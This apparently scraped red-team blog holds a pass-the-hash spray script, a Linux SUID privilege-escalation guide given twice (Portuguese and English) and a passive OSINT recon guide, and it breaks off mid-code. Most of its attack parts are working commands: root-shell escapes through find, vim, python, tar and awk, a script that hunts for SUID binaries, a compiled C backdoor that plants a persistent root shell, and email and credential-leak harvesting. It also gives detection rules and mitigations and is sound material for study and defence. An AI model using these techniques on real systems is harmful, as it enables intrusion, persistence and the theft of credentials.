if [[ -z &quot;$HASH&quot; ]]; then
  echo &quot;Usage: $0   <cidr><user><nt_hash>&quot;
  exit 1
fi

echo &quot;[*] Starting PtH spray on $TARGET_RANGE as $USER&quot;
echo &quot;[*] Hash: ${HASH:0:8}...redacted&quot;
echo &quot;&quot;

crackmapexec smb &quot;$TARGET_RANGE&quot; \
  -u &quot;$USER&quot; \
  -H &quot;$HASH&quot; \
  --continue-on-success 2&gt;/dev/null \
  | tee /tmp/pth_results.txt

PWNED=$(grep -c &quot;Pwn3d&quot; /tmp/pth_results.txt)
echo &quot;&quot;
echo &quot;[+] Compromised hosts: $PWNED&quot;
echo &quot;[*] Results in: /tmp/pth_results.txt&quot;

> WARNING: This technique should only be used in Red Team engagements with written authorization. Unauthorized use is a crime.

Detection

Defenders should monitor:

Indicator	Event ID	Description
Logon with hash (no password)	4624	Logon Type 3, without complete NTLMv2 challenge
Widespread use of local admin	4648	Explicit logon with alternate credentials
Known tools	7045	PSEXESVC service created
Authentication anomaly	4776	Unusual host NTLM auth

Mitigations

KB2871997 — Restricts use of hashes for local accounts (except RID 500)
Protected Users Security Group — Forces Kerberos, disables NTLM
Credential Guard — Isolates LSA in VTL1, prevents extraction via Mimikatz
LAPS (Local Administrator Password Solution) — Unique passwords per host, eliminates spray
Tiering model — Isolates domain admin accounts from workstations
Disable NTLMv1 — Via GPO: Network security: LAN Manager authentication level</nt_hash></da_nt_hash></ntlm_hash>

Abuso de SUID — Escalando para Root com Binários Esquecidos

redteam@kbmsecurity.com.br — Tue, 14 Jan 2025 00:00:00 GMT

O que é SUID?

O bit SUID (Set User ID) é uma permissão especial do Linux que faz com que um executável rode com os privilégios do dono do arquivo em vez do usuário que o invocou.

Quando um binário cujo dono é root possui o bit SUID ativado, qualquer usuário que o execute ganha acesso temporário em nível de root pela duração daquele processo. Isso é intencional para binários como /usr/bin/passwd — mas se torna um vetor crítico de ataque quando encontrado em binários inesperados.

# Exemplo de permissão — o 's' na posição de execução do dono = SUID ativado
-rwsr-xr-x 1 root root 67816 Jan  5 12:00 /usr/bin/passwd

MITRE ATT&CK: Esta técnica é mapeada como T1548.001 — Setuid and Setgid sob a tática de Escalonamento de Privilégios (Privilege Escalation - TA0004).

Passo 1 — Enumerar Binários SUID

O primeiro passo é encontrar todos os binários com SUID habilitado no sistema.

# Encontra todos os binários SUID (suprime erros de permissão negada)
find / -perm -u=s -type f 2>/dev/null

# Limita a busca a caminhos comuns de binários para maior velocidade
find /usr /bin /sbin /opt /home -perm -u=s -type f 2>/dev/null

# Também checa binários SGID (roda como dono do grupo)
find / -perm -g=s -type f 2>/dev/null

Um sistema limpo retornará uma lista curta e previsível. Procure por qualquer coisa incomum — caminhos não padrão, scripts customizados, ou ferramentas de desenvolvimento.

Passo 2 — Cruzamento de Referência com o GTFOBins

O GTFOBins é a referência definitiva para binários Unix que podem ser abusados quando possuem permissões elevadas.

find

# Verifica se o SUID está ativado
ls -la $(which find)
# -rwsr-xr-x 1 root root 204112 ... /usr/bin/find

# Exploração — spawna uma shell root
find . -exec /bin/sh -p \; -quit

# Verifica o escalonamento
whoami
# root

A flag -p é crítica — ela diz ao sh para preservar o UID efetivo em vez de descartá-lo.

vim / vi

# Checa
ls -la $(which vim)

# Método 1: via extensão Python3
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

# Método 2: spawn direto de shell
vim -c ':!sh -p'

# Método 3: via escape de shell no modo normal (dentro do vim)
# :set shell=/bin/sh
# :shell

python / python3

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# Também funciona no python2 mais antigo
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

bash

# Apenas explorável se o SUID estiver no próprio bash (raro, mas acontece em CTFs)
ls -la /bin/bash
# -rwsr-xr-x 1 root root ...

bash -p
# bash-5.1# whoami
# root

nmap (versões legacy < 5.35)

# Modo interativo disponível em versões antigas do nmap
nmap --interactive
nmap> !sh

tar

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

perl

perl -e 'exec "/bin/sh";'

awk

awk 'BEGIN {system("/bin/sh -p")}'

less / more

# Dentro do pager less/more
less /etc/passwd
# Então digite:
!/bin/sh

Passo 3 — Script de Enumeração Automatizada

O script a seguir cruza a referência de binários SUID descobertos com uma lista de conhecidos por serem exploráveis e gera os alvos priorizados.

#!/usr/bin/env bash
# suid_hunter.sh — Enumeração e triagem de SUID
# Uso: ./suid_hunter.sh
# Autor: r3d/ops | KBM Security

RED='\033[0;31m'
YEL='\033[0;33m'
GRN='\033[0;32m'
BLU='\033[0;34m'
RST='\033[0m'

KNOWN_EXPLOITABLE="nmap|vim|vi|find|python|python3|bash|perl|ruby|tar|wget|curl"
KNOWN_EXPLOITABLE+="|nc|netcat|awk|less|more|man|ftp|gdb|strace|ltrace|tclsh"
KNOWN_EXPLOITABLE+="|env|expect|lua|php|ruby|node|git|zip|unzip|7z|aria2c"

echo -e "${BLU}[*] SUID Binary Hunter — r3d/ops${RST}"
echo -e "${BLU}[*] Escaneando o filesystem...${RST}\n"

BINS=$(find / -perm -u=s -type f 2>/dev/null)
TOTAL=$(echo "$BINS" | wc -l)

echo -e "[*] Encontrados ${YEL}${TOTAL}${RST} binários SUID\n"
echo -e "[*] Checando contra a lista de exploráveis conhecidos...\n"

HIT=0
while IFS= read -r bin; do
  name=$(basename "$bin")
  owner=$(stat -c '%U' "$bin" 2>/dev/null)
  perms=$(stat -c '%A' "$bin" 2>/dev/null)

  if echo "$name" | grep -qiE "$KNOWN_EXPLOITABLE"; then
    echo -e "  ${RED}[!!!] EXPLORÁVEL:${RST} $bin"
    echo -e "       Dono: ${YEL}${owner}${RST} | Perm: ${perms}"
    echo -e "       GTFOBins: ${BLU}https://gtfobins.github.io/gtfobins/${name}/#suid${RST}\n"
    HIT=$((HIT + 1))
  else
    echo -e "  ${GRN}[ok]${RST}  $bin  ${BLU}(${owner})${RST}"
  fi
done <<< "$BINS"

echo -e "\n[*] Resumo: ${RED}${HIT} alvo(s) em potencial${RST} de ${TOTAL} binários SUID no total"

Passo 4 — Escrevendo um Backdoor SUID Customizado (Cenário de Lab)

Em operações de red team autorizadas, você pode precisar plantar um shell SUID persistente para acesso pós-exploração.

# Como root — compila um wrapper setuid mínimo para a shell
cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}
EOF

# Compila e seta o SUID
gcc /tmp/rootshell.c -o /tmp/rootshell
chmod u+s /tmp/rootshell

# Um usuário de baixo privilégio agora pode chamá-lo
/tmp/rootshell
# bash-5.1# whoami
# root

PERIGO: Nunca faça deploy de backdoors SUID em sistemas de produção ou sem autorização explícita por escrito. Isso é apenas para ambientes de laboratório autorizados.

Detecção & Mitigação

Detecções do Blue Team

Indicador	Fonte de Dados	Lógica da Regra
Novo binário SUID criado	auditd / inotify	`find / -newer /tmp -perm -4000`
Binário SUID executa shell	auditd execve	parent=suid_binary, child=/bin/sh
Dono SUID inesperado	file integrity	owner=root AND path NOT IN baseline
Flag `-p` passada ao shell	process args	`sh -p` OR `bash -p` in cmdline

Comandos de Hardening

# Audita todos os binários SUID — salva uma baseline
find / -perm -4000 -type f 2>/dev/null > /root/suid_baseline.txt

# Remove o SUID de um binário específico
chmod u-s /caminho/para/binario

# Monta partições com nosuid para prevenir SUID naqueles filesystems
# Em /etc/fstab:
# /dev/sdb1 /data ext4 defaults,nosuid,noexec 0 0

# Enforcement de profile do AppArmor
aa-enforce /usr/bin/find

# Verifica a integridade do binário contra o package manager
dpkg --verify    # Debian/Ubuntu
rpm -Va          # RHEL/CentOS

Regras de Monitoramento Recomendadas (auditd)

# /etc/audit/rules.d/suid.rules

# Monitora a execução de binário SUID
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid>=1000 -k suid_exec

# Monitora chmod/chown mudando o bit SUID
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -F a1=04755 -k suid_create

Setup de Laboratório

Para praticar essas técnicas de forma segura, suba uma VM vulnerável:

# Vagrant — box Linux intencionalmente vulnerável
vagrant init bento/ubuntu-22.04
vagrant up
vagrant ssh

# Configura manualmente um binário vulnerável para prática
sudo chmod u+s /usr/bin/find
find . -exec /bin/sh -p \; -quit

Alternativamente, use plataformas dedicadas:

HackTheBox — Máquinas de privilege escalation em Linux
TryHackMe — Sala “Linux PrivEsc”
VulnHub — Kioptrix, série Mr. Robot

Resumo

Binário	Método de Exploit	Dificuldade
`find`	`-exec /bin/sh -p`	Fácil
`python3`	`os.execl("/bin/sh","sh","-p")`	Fácil
`vim`	`:!sh -p`	Fácil
`bash`	`bash -p`	Fácil
`tar`	`--checkpoint-action=exec`	Média
`nmap`	`--interactive` (legacy)	Média
`awk`	`system("/bin/sh")`	Fácil

A chave para levar disso tudo: qualquer binário com SUID ativado que permita execução arbitrária de código ou o spawn de uma shell é um caminho para o root. Sempre enumere binários SUID como parte do seu checklist de escalonamento de privilégios no Linux.

SUID Abuse — Escalating to Root with Forgotten Binaries

redteam@kbmsecurity.com.br — Tue, 14 Jan 2025 00:00:00 GMT

What is SUID?

The SUID (Set User ID) bit is a special Linux permission that causes an executable to run with the privileges of the file owner instead of the user who invoked it.

When a binary owned by root has the SUID bit set, any user who executes it gains temporary root-level access for the duration of that process. This is intentional for binaries such as /usr/bin/passwd — but becomes a critical attack vector when found in unexpected binaries.

# Permission example — the &#x27;s&#x27; in the owner&#x27;s execute position = SUID enabled
-rwsr-xr-x 1 root root 67816 Jan  5 12:00 /usr/bin/passwd

> MITRE ATT&CK;: This technique is mapped as T1548.001 — Setuid and Setgid under the Privilege Escalation tactic (TA0004).

Step 1 — Enumerate SUID Binaries

The first step is to find all SUID-enabled binaries on the system.

# Find all SUID binaries (suppress permission denied errors)
find / -perm -u=s -type f 2&gt;/dev/null

# Limit the search to common binary paths for faster speed
find /usr/bin /sbin /opt /home -perm -u=s -type f 2&gt;/dev/null

# Also checks SGID binaries (runs as group owner)
find / -perm -g=s -type f 2&gt;/dev/null

A clean system will return a short and predictable list. Look for anything unusual—non-standard paths, custom scripts, or development tools.

Step 2 — Cross-referencing with GTFOBins

GTFOBins is the definitive reference for Unix binaries that can be abused when given elevated permissions.

find

# Check if SUID is enabled
ls -la $(which find)
# -rwsr-xr-x 1 root root 204112 ... /usr/bin/find

# Exploit — spawns a root shell
find . -exec /bin/sh -p \; -quit

# Check escalation
whoami
# root

The -p flag is critical — it tells sh to preserve the effective UID instead of discarding it.

vim / vi

# Check
ls -la $(which vim)

# Method 1: via Python3 extension
vim -c &#x27;:py3 import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec sh -p&quot;)&#x27;

# Method 2: direct shell spawn
vim -c &#x27;:!sh -p&#x27;

# Method 3: via shell escape in normal mode (inside vim)
# :set shell=/bin/sh
# :shell

python / python3

python3 -c &#x27;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#x27;

# Also works in older python2
python -c &#x27;import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-p&quot;)&#x27;

bash

# Only exploitable if SUID is on bash itself (rare, but happens in CTFs)
ls -la /bin/bash
# -rwsr-xr-x 1 root root ...

bash -p
# bash-5.1# whoami
# root

nmap (legacy versions < 5.35)

# Interactive mode available in older versions of nmap
nmap --interactive
nmap&gt; !sh

tar

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

perl

perl -e &#x27;exec &quot;/bin/sh&quot;;&#x27;

awk

awk &#x27;BEGIN {system(&quot;/bin/sh -p&quot;)}&#x27;

less / more

# Inside the less/more pager
less /etc/passwd
# Then type:
!/bin/sh

Step 3 — Automated Enumeration Script

The following script cross-references discovered SUID binaries with a list of known exploitable ones and generates prioritized targets.

#!/usr/bin/env bash
# suid_hunter.sh — SUID enumeration and screening
# Usage: ./suid_hunter.sh
# Author: r3d/ops | KBM Security

RED=&#x27;\033[0;31m&#x27;
YEL=&#x27;\033[0;33m&#x27;
GRN=&#x27;\033[0;32m&#x27;
BLU=&#x27;\033[0;34m&#x27;
RST=&#x27;\033[0m&#x27;

KNOWN_EXPLOITABLE=&quot;nmap|vim|vi|find|python|python3|bash|perl|ruby|tar|wget|curl&quot;
KNOWN_EXPLOITABLE+=&quot;|nc|netcat|awk|less|more|man|ftp|gdb|strace|ltrace|tclsh&quot;
KNOWN_EXPLOITABLE+=&quot;|env|expect|lua|php|ruby|node|git|zip|unzip|7z|aria2c&quot;

echo -e &quot;${BLU}[*] SUID Binary Hunter — r3d/ops${RST}&quot;
echo -e &quot;${BLU}[*] Scanning the filesystem...${RST}\n&quot;

BINS=$(find / -perm -u=s -type f 2&gt;/dev/null)
TOTAL=$(echo &quot;$BINS&quot; | wc -l)

echo -e &quot;[*] Found ${YEL}${TOTAL}${RST} SUID binaries\n&quot;
echo -e &quot;[*] Checking against the list of known exploits...\n&quot;

HIT=0
while IFS= read -r bin; do
  name=$(basename &quot;$bin&quot;)
  owner=$(stat -c &#x27;%U&#x27; &quot;$bin&quot; 2&gt;/dev/null)
  perms=$(stat -c &#x27;%A&#x27; &quot;$bin&quot; 2&gt;/dev/null)

  if echo &quot;$name&quot; | grep -qiE &quot;$KNOWN_EXPLOITABLE&quot;; then
    echo -e &quot;  ${RED}[!!!] EXPLOITABLE:${RST} $bin&quot;
    echo -e &quot;       Owner: ${YEL}${owner}${RST} | Perm: ${perms}&quot;
    echo -e &quot;       GTFOBins: ${BLU}https://gtfobins.github.io/gtfobins/${name}/#suid${RST}\n&quot;
    HIT=$((HIT + 1))
  else
    echo -e &quot;  ${GREEN}[ok]${RST}  $bin  ${BLUE}(${owner})${RST}&quot;
  fi
done &lt;&lt;&lt; &quot;$BINS&quot;

echo -e &quot;\n[*] Summary: ${RED}${HIT} potential target(s)${RST} out of ${TOTAL} SUID binaries in total&quot;

Step 4 — Writing a Custom SUID Backdoor (Lab Scenario)

In authorized red team operations, you may need to plant a persistent SUID shell for post-exploitation access.

# As root — compile a minimal setuid wrapper for the shell
cat &gt; /tmp/rootshell.c &lt;&lt; &#x27;EOF&#x27;
#include 
<stdio.h>#include<unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl(&quot;/bin/bash&quot;, &quot;bash&quot;, &quot;-p&quot;, NULL);
    return 0;
}
EOF

# Compile and set SUID
gcc /tmp/rootshell.c -o /tmp/rootshell
chmod u+s /tmp/rootshell

# A low-privileged user can now call it
/tmp/rootshell
# bash-5.1# whoami
# root

> DANGER: Never deploy SUID backdoors on production systems or without explicit written authorization. This is only for authorized lab environments.

Detection & Mitigation

Blue Team Detections

Indicator	Data Source	Rule Logic
New SUID binary created	auditd / inotify	`find / -newer /tmp -perm -4000`
SUID binary executes shell	auditd execve	parent=suid_binary, child=/bin/sh
Unexpected SUID owner	file integrity	owner=root AND path NOT IN baseline
`-p` flag passed to shell	process args	`sh -p` OR `bash -p` in cmdline

Hardening Commands

# Audit all SUID binaries — save a baseline
find / -perm -4000 -type f 2&gt;/dev/null &gt; /root/suid_baseline.txt

# Remove SUID from a specific binary
chmod u-s /path/to/binary

# Mount partitions with nosuid to prevent SUID on those filesystems
# In /etc/fstab:
# /dev/sdb1 /data ext4 defaults,nosuid,noexec 0 0

# AppArmor profile enforcement
aa-enforce /usr/bin/find

# Verify binary integrity against the package manager
dpkg --verify    # Debian/Ubuntu
rpm -Va          # RHEL/CentOS

Recommended Monitoring Rules (auditd)

# /etc/audit/rules.d/suid.rules

# Monitor SUID binary execution
-a always,exit -F arch=b64 -S execve -F euid=0 -F auid&gt;=1000 -k suid_exec

# Monitor chmod/chown changing the SUID bit
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -F a1=04755 -k suid_create

Lab Setup

To practice these techniques safely, spin up a vulnerable VM:

# Vagrant — intentionally vulnerable Linux box
vagrant init bento/ubuntu-22.04
vagrant up
vagrant ssh

# Manually configure a vulnerable binary for practice
sudo chmod u+s /usr/bin/find
find . -exec /bin/sh -p \; -quit

Alternatively, use dedicated platforms:

HackTheBox — Privilege escalation machines on Linux
TryHackMe — “Linux PrivEsc” room
VulnHub — Kioptrix, Mr. Robot series

Summary

Binary	Exploit Method	Difficulty
`find`	`-exec /bin/sh -p`	Easy
`python3`	`os.execl("/bin/sh","sh","-p")`	Easy
`vim`	`:!sh -p`	Easy
`bash`	`bash -p`	Easy
`tar`	`--checkpoint-action=exec`	Medium
`nmap`	`--interactive` (legacy)	Medium
`awk`	`system("/bin/sh")`	Easy

The key takeaway from all this: any SUID-enabled binary that allows arbitrary code execution or shell spawn is a path to root. Always enumerate SUID binaries as part of your Linux privilege escalation checklist.</unistd.h></stdio.h>

Passive Recon & OSINT — Mapping the Target Without Making Noise

redteam@kbmsecurity.com.br — Tue, 07 Jan 2025 00:00:00 GMT

What is Passive Reconnaissance?

Passive reconnaissance is the intelligence gathering phase where the operator never interacts directly with the target infrastructure. All information is obtained through open sources (OSINT — Open Source Intelligence) or public intermediaries.

The critical advantage: zero logs on the target. No client IDS, WAF, or SIEM will see your activity.

> Golden rule: the more you know before touching the network, the smaller your exposure surface during active engagement.

Phase 1 — Domain Footprinting

WHOIS and DNS Records

# Domain registration information
whois target.com

# Fundamental DNS queries
dig target.com ANY
dig target.com MX
dig target.com NS
dig target.com TXT

# Zone transfer (often blocked, but worth trying)
dig axfr @ns1.target.com target.com

# Subdomains via certificate transparency
curl -s &quot;https://crt.sh/?q=%.target.com&amp;output;=json&quot; \
  | jq -r &#x27;.[].name_value&#x27; \
  | sort -u

Amass — Subdomain Enumeration

Amass is the go-to tool for passive subdomain enumeration. It aggregates dozens of public sources.

# Installation
go install -v github.com/owasp-amass/amass/v4/...@master

# Pure passive enumeration (no brute force)
amass enum -passive -d target.com -o amass_output.txt

# With all data sources (requires API keys)
amass enum -passive -d target.com \
  -config ~/.config/amass/config.ini \
  -o subdomains.txt

# Asset graph visualization
amass viz -d3 -d target.com -o graph.html

Subfinder — Fast and Silent

# Installation
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# Passive enumeration
subfinder -d target.com -all -recursive -o subfinder_out.txt

# With automatic resolution
subfinder -d target.com -all | dnsx -silent

Phase 2 — Google Dorks

Google Dorks are advanced search operators that reveal sensitive information that has been accidentally indexed.

Essential Dorks

# Subdomains and related hosts
site:target.com

# Excluding the main domain (reveals subdomains)
site:target.com -www

# Exposed sensitive files
site:target.com filetype:pdf
site:target.com filetype:xls OR filetype:xlsx
site:target.com filetype:sql
site:target.com filetype:env
site:target.com filetype:log

# Administration panels
site:target.com inurl:admin
site:target.com inurl:login
site:target.com inurl:dashboard
site:target.com intitle:&quot;index of&quot;

# Leaked credentials and configurations
site:target.com intext:&quot;password&quot;
site:target.com ext:conf OR ext:config OR ext:cfg
site:target.com ext:bak OR ext:backup OR ext:old

# Exposed technology
site:target.com intext:&quot;powered by&quot;
site:target.com intext:&quot;phpMyAdmin&quot;

# API endpoints
site:target.com inurl:/api/
site:target.com inurl:/v1/ OR inurl:/v2/

Automating with gowitness

# Screenshot of all subdomains found
cat subdomains.txt | gowitness file -f - --screenshot-path ./screenshots/
gowitness report serve

Phase 3 — Shodan & Censys

Search engines for devices and services exposed on the internet.

Shodan

# CLI installation
pip install shodan
shodan init YOUR_API_KEY

# Search by organization
shodan search &quot;org:\&quot;Target Company\&quot;&quot;

# Filtering by ASN
shodan search &quot;asn:AS12345&quot;

# Specific exposed services
shodan search &quot;hostname:target.com port:22&quot;
shodan search &quot;hostname:target.com http.title:\&quot;Dashboard\&quot;&quot;

# Known vulnerabilities in infrastructure
shodan search &quot;org:\&quot;Target\&quot; vuln:CVE-2021-44228&quot;

# Download complete results
shodan download --limit 1000 results.json.gz &quot;org:\&quot;Target Company\&quot;&quot;
shodan parse results.json.gz --fields ip_str,port,hostnames,vulns

Useful Shodan Queries

Query	What it finds
`org:"Target" http.title:"Jenkins"`	Exposed Jenkins servers
`org:"Target" product:"Apache Tomcat"`	Tomcat without authentication
`org:"Target" http.favicon.hash:-1616143106`	GitLab instances
`org:"Target" port:3389`	Exposed RDP
`org:"Target" ssl.cert.subject.cn:"*.target.com"`	Wildcard certificates
`org:"Target" "220" "230 Login"`	Active anonymous FTP

Censys

# API via Python
pip install censys

# Search for hosts by certificate
python3 - &lt;&lt;&#x27;EOF&#x27;
from censys.search import CensysHosts
h = CensysHosts()
query = &quot;parsed.names: target.com and services.tls.certificates.leaf_data.subject.organization: \&quot;Target\&quot;&quot;
for hit in h.search(query, pages=3):
    print(hit[&quot;ip&quot;], hit.get(&quot;services&quot;))
EOF

Phase 4 — theHarvester

Collects emails, names, hosts, and IPs from public sources.

# Installation
git clone https://github.com/laramies/theHarvester
cd theHarvester &amp;&amp; pip3 install -r requirements/base.txt

# Basic collection with multiple sources
python3 theHarvester.py \
  -d target.com \
  -b google,bing,linkedin,hunter,anubis,crtsh \
  -l 500 \
  -f report_target

# Emails only (for phishing/password spraying)
python3 theHarvester.py \
  -d target.com \
  -b linkedin,hunter,google \
  -l 200 | grep -E &quot;^[a-zA-Z0-9._%+-]+@&quot;

Phase 5 — People Recognition

LinkedIn OSINT

Identify employees, positions, and technologies used.

# Via Google Dorks
site:linkedin.com/in &quot;Target Company&quot; &quot;Security Engineer&quot;
site:linkedin.com/in &quot;Target Company&quot; &quot;DevOps&quot;
site:linkedin.com/in &quot;Target Company&quot; &quot;Active Directory&quot;

# Tools
pip install linkedin2username
python3 linkedin2username.py -u YOUR_EMAIL -c &quot;Target Company&quot;

Email Format Discovery

# Hunter.io CLI
curl &quot;https://api.hunter.io/v2/domain-search?domain=target.com&amp;api;_key=KEY&quot; \
  | jq &#x27;.data.pattern&#x27;
# Example output: &quot;{first}.{last}@target.com&quot;

# Email verification with h8mail
pip install h8mail
h8mail -t emails.txt --breach-src haveibeenpwned

Phase 6 — Public Code Analysis

Public repositories often contain accidentally committed credentials, tokens, and internal infrastructure.

# GitHub Dorks — search directly on the site
# org:target-company password
# org:target-company secret
# org:target-company api_key
# org:target-company internal

# Trufflehog — git history scan
pip install trufflehog
trufflehog github --org=target-company --only-verified

# GitLeaks — scan repositories
docker run -v $(pwd):/path zricethezav/gitleaks:latest \
  detect --source=/path --report-format json

# Specific greps in cloned repos
git clone https://github.com/target/public-repo
cd public-repo
grep -rE &quot;(password|passwd|secret|token|api_key|aws_access)&quot; .
grep -rE &quot;(https?://[^/]+:[^@]+@)&quot; .  # URLs with credentials

Phase 7 — Web Technology Analysis

# WhatWeb — passive fingerprinting via history/cache
whatweb -a 1 https://target.com  # stealth mode

# BuiltWith API
curl &quot;https://api.builtwith.com/v21/api.json?KEY=YOUR_KEY&amp;LOOKUP;=target.com&quot; \
  | jq &#x27;.Results[].Result.Paths[].Technologies[].Name&#x27;

# Wappalyzer CLI
npm install -g wappalyzer
wappalyzer https://target.com

# Wayback Machine — old versions of the website
curl &quot;http://web.archive.org/cdx/search/cdx?url=*.target.com/*&amp;output;=text&amp;fl;=original&amp;collapse;=urlkey&quot; \
  | sort -u | head -100

Consolidating Intelligence

Organize everything into a structure before moving on to active reconnaissance:

target-intel/
├── domains/
│   ├── subdomains.txt       # all discovered subdomains
│   ├── dns_records.txt      # MX, TXT, NS records
│   └── whois.txt
├── ips/
│   ├── ip_ranges.txt        # target CIDRs
│   └── shodan_results.json
├── people/
│   ├── employees.txt        # names and positions
│   ├── emails.txt           # collected emails
│   └── email_format.txt     # format standard
├── tech/
│   ├── stack.txt            # identified technologies
│   └── certificates.txt     # SSL certificates found
├── credentials/
│   └── leaked_creds.txt     # leaks in breaches
└── code/
    └── github_findings.txt  # findings in public repositories

#!/bin/bash
# passive_recon.sh — Complete passive recon pipeline
DOMAIN=&quot;${1:?Usage: $0 <domain>}&quot;
OUTPUT=&quot;./intel/${DOMAIN}&quot;
mkdir -p &quot;${OUTPUT}&quot;/{domains,ips,people,tech}

echo &quot;[*] Starting passive recon for: ${DOMAIN}&quot;

# Subdomains
echo &quot;[+] Enumerating subdomains...&quot;
subfinder -d &quot;${DOMAIN}&quot; -all -silent &gt; &quot;${OUTPUT}/domains/subfinder.txt&quot;
amass enum -passive -d &quot;${DOMAIN}&quot; &gt;&gt; &quot;${OUTPUT}/domains/amass.txt&quot;
cat &quot;${OUTPUT}/domains/subfinder.txt&quot; &quot;${OUTPUT}/domains/amass.txt&quot; \
  | sort -u &gt; &quot;${OUTPUT}/domains/all_subdomains.txt&quot;
echo &quot;    $(wc -l &lt; &quot;${OUTPUT}/domains/all_subdomains.txt&quot;) unique subdomains&quot;

# DNS
echo &quot;[+] Pulling DNS records...&quot;
dig &quot;${DOMAIN}&quot; ANY +short &gt; &quot;${OUTPUT}/domains/dns.txt&quot;
curl -s &quot;https://crt.sh/?q=%.${DOMAIN}&amp;output;=json&quot; \
  | jq -r &#x27;.[].name_value&#x27; | sort -u &gt;&gt; &quot;${OUTPUT}/domains/all_subdomains.txt&quot;

# Emails
echo &quot;[+] Harvesting emails...&quot;
python3 theHarvester.py -d &quot;${DOMAIN}&quot; -b google,hunter -l 200 \
  | grep -E &quot;@${DOMAIN}&quot; | sort -u &gt; &quot;${OUTPUT}/people/emails.txt&quot;

echo &quot;[✓] Recon complete. Output: ${OUTPUT}&quot;

Mitigations (Blue Team)

Vector	Mitigation
Google Dorks	Google Search Console — remove sensitive URLs from the index
WHOIS	Use domain privacy (WHOIS Privacy)
Certificate Transparency	Unavoidable — use generic subdomains
Shodan	Firewalls with no-scan rules; `X-Robots-Tag: noindex`
GitHub leaks	Pre-commit hooks + active secret scanning
LinkedIn OSINT	Limit technology information in public profiles

> Legal note: These techniques should be used exclusively in authorized engagements or for educational purposes. Unauthorized use is illegal.

Passive Recon & OSINT — Mapeando o Alvo Sem Fazer Ruído

redteam@kbmsecurity.com.br — Tue, 07 Jan 2025 00:00:00 GMT

O que é Reconhecimento Passivo?

Reconhecimento passivo é a fase de coleta de inteligência onde o operador nunca interage diretamente com a infraestrutura do alvo. Toda informação é obtida através de fontes abertas (OSINT — Open Source Intelligence) ou intermediários públicos.

A vantagem crítica: zero logs no alvo. Nenhum IDS, WAF ou SIEM do cliente verá sua atividade.

Regra de ouro: quanto mais você sabe antes de tocar a rede, menor sua superfície de exposição durante o engajamento ativo.

Fase 1 — Footprinting de Domínio

WHOIS e Registros DNS

# Informações de registro do domínio
whois target.com

# Consultas DNS fundamentais
dig target.com ANY
dig target.com MX
dig target.com NS
dig target.com TXT

# Zone transfer (frequentemente bloqueado, mas vale tentar)
dig axfr @ns1.target.com target.com

# Subdomínios via certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" \
  | jq -r '.[].name_value' \
  | sort -u

Amass — Enumeração de Subdomínios

Amass é a ferramenta de referência para enumeração passiva de subdomínios. Agrega dezenas de fontes públicas.

# Instalação
go install -v github.com/owasp-amass/amass/v4/...@master

# Enumeração passiva pura (sem brute-force)
amass enum -passive -d target.com -o amass_output.txt

# Com todas as fontes de dados (requer API keys)
amass enum -passive -d target.com \
  -config ~/.config/amass/config.ini \
  -o subdomains.txt

# Visualização do grafo de ativos
amass viz -d3 -d target.com -o graph.html

Subfinder — Rápido e Silencioso

# Instalação
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# Enumeração passiva
subfinder -d target.com -all -recursive -o subfinder_out.txt

# Com resolução automática
subfinder -d target.com -all | dnsx -silent

Fase 2 — Google Dorks

Google Dorks são operadores de busca avançados que revelam informações sensíveis indexadas acidentalmente.

Dorks Essenciais

# Subdomínios e hosts relacionados
site:target.com

# Excluindo o domínio principal (revela subdomínios)
site:target.com -www

# Arquivos sensíveis expostos
site:target.com filetype:pdf
site:target.com filetype:xls OR filetype:xlsx
site:target.com filetype:sql
site:target.com filetype:env
site:target.com filetype:log

# Painéis de administração
site:target.com inurl:admin
site:target.com inurl:login
site:target.com inurl:dashboard
site:target.com intitle:"index of"

# Credenciais e configs vazadas
site:target.com intext:"password"
site:target.com ext:conf OR ext:config OR ext:cfg
site:target.com ext:bak OR ext:backup OR ext:old

# Tecnologia exposta
site:target.com intext:"powered by"
site:target.com intext:"phpMyAdmin"

# Endpoints de API
site:target.com inurl:/api/
site:target.com inurl:/v1/ OR inurl:/v2/

Automatizando com gowitness

# Screenshot de todos os subdomínios encontrados
cat subdomains.txt | gowitness file -f - --screenshot-path ./screenshots/
gowitness report serve

Fase 3 — Shodan & Censys

Motores de busca para dispositivos e serviços expostos na internet.

Shodan

# Instalação do CLI
pip install shodan
shodan init YOUR_API_KEY

# Busca por organização
shodan search "org:\"Target Company\""

# Filtrando por ASN
shodan search "asn:AS12345"

# Serviços específicos expostos
shodan search "hostname:target.com port:22"
shodan search "hostname:target.com http.title:\"Dashboard\""

# Vulnerabilidades conhecidas na infra
shodan search "org:\"Target\" vuln:CVE-2021-44228"

# Download completo dos resultados
shodan download --limit 1000 results.json.gz "org:\"Target Company\""
shodan parse results.json.gz --fields ip_str,port,hostnames,vulns

Queries Shodan Úteis

Query	O que Encontra
`org:"Target" http.title:"Jenkins"`	Servidores Jenkins expostos
`org:"Target" product:"Apache Tomcat"`	Tomcat sem autenticação
`org:"Target" http.favicon.hash:-1616143106`	GitLab instances
`org:"Target" port:3389`	RDP exposto
`org:"Target" ssl.cert.subject.cn:"*.target.com"`	Certificados wildcard
`org:"Target" "220" "230 Login"`	FTP anônimo ativo

Censys

# API via Python
pip install censys

# Busca de hosts por certificado
python3 - <<'EOF'
from censys.search import CensysHosts
h = CensysHosts()
query = "parsed.names: target.com and services.tls.certificates.leaf_data.subject.organization: \"Target\""
for hit in h.search(query, pages=3):
